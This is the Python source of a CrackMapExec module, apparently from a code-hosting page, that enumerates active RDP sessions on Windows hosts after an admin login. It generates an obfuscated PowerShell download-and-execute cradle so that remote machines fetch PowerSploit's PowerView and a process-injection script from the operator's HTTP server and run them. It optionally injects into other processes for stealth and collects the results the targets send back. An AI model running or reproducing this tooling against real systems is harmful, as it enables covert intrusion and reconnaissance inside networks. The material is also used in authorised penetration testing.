69 lines
2.3 KiB
Python
69 lines
2.3 KiB
Python
from cme.helpers.powershell import *
|
|
from cme.helpers.logger import write_log, highlight
|
|
from datetime import datetime
|
|
from StringIO import StringIO
|
|
|
|
class CMEModule:
|
|
|
|
name = 'get_netrdpsession'
|
|
description = "Enumerates all active RDP sessions"
|
|
supported_protocols = ['smb', 'mssql']
|
|
opsec_safe = True
|
|
multiple_hosts = True
|
|
|
|
def options(self, context, module_options):
|
|
'''
|
|
INJECT If set to true, this allows PowerView to work over 'stealthier' execution methods which have non-interactive contexts (e.g. WMI) (default: True)
|
|
'''
|
|
|
|
self.exec_methods = ['smbexec', 'atexec']
|
|
self.inject = True
|
|
if 'INJECT' in module_options:
|
|
self.inject = bool(module_options['INJECT'])
|
|
|
|
if self.inject: self.exec_methods = None
|
|
self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1')
|
|
self.ps_script2 = obfs_ps_script('powersploit/Recon/PowerView.ps1')
|
|
|
|
def on_admin_login(self, context, connection):
|
|
command = 'Get-NetRDPSession | Out-String'
|
|
launcher = gen_ps_iex_cradle(context, 'PowerView.ps1', command)
|
|
|
|
if self.inject:
|
|
launcher = gen_ps_inject(launcher, context, inject_once=True)
|
|
|
|
connection.ps_execute(launcher, methods=self.exec_methods)
|
|
|
|
context.log.success('Executed launcher')
|
|
|
|
def on_request(self, context, request):
|
|
if 'Invoke-PSInject.ps1' == request.path[1:]:
|
|
request.send_response(200)
|
|
request.end_headers()
|
|
|
|
request.wfile.write(self.ps_script1)
|
|
|
|
elif 'PowerView.ps1' == request.path[1:]:
|
|
request.send_response(200)
|
|
request.end_headers()
|
|
|
|
request.wfile.write(self.ps_script2)
|
|
|
|
else:
|
|
request.send_response(404)
|
|
request.end_headers()
|
|
|
|
def on_response(self, context, response):
|
|
response.send_response(200)
|
|
response.end_headers()
|
|
length = int(response.headers.getheader('content-length'))
|
|
data = response.rfile.read(length)
|
|
|
|
#We've received the response, stop tracking this host
|
|
response.stop_tracking_host()
|
|
|
|
if len(data):
|
|
buf = StringIO(data).readlines()
|
|
for line in buf:
|
|
line = line.replace('\r\n', '\n').strip()
|
|
context.log.highlight(line) |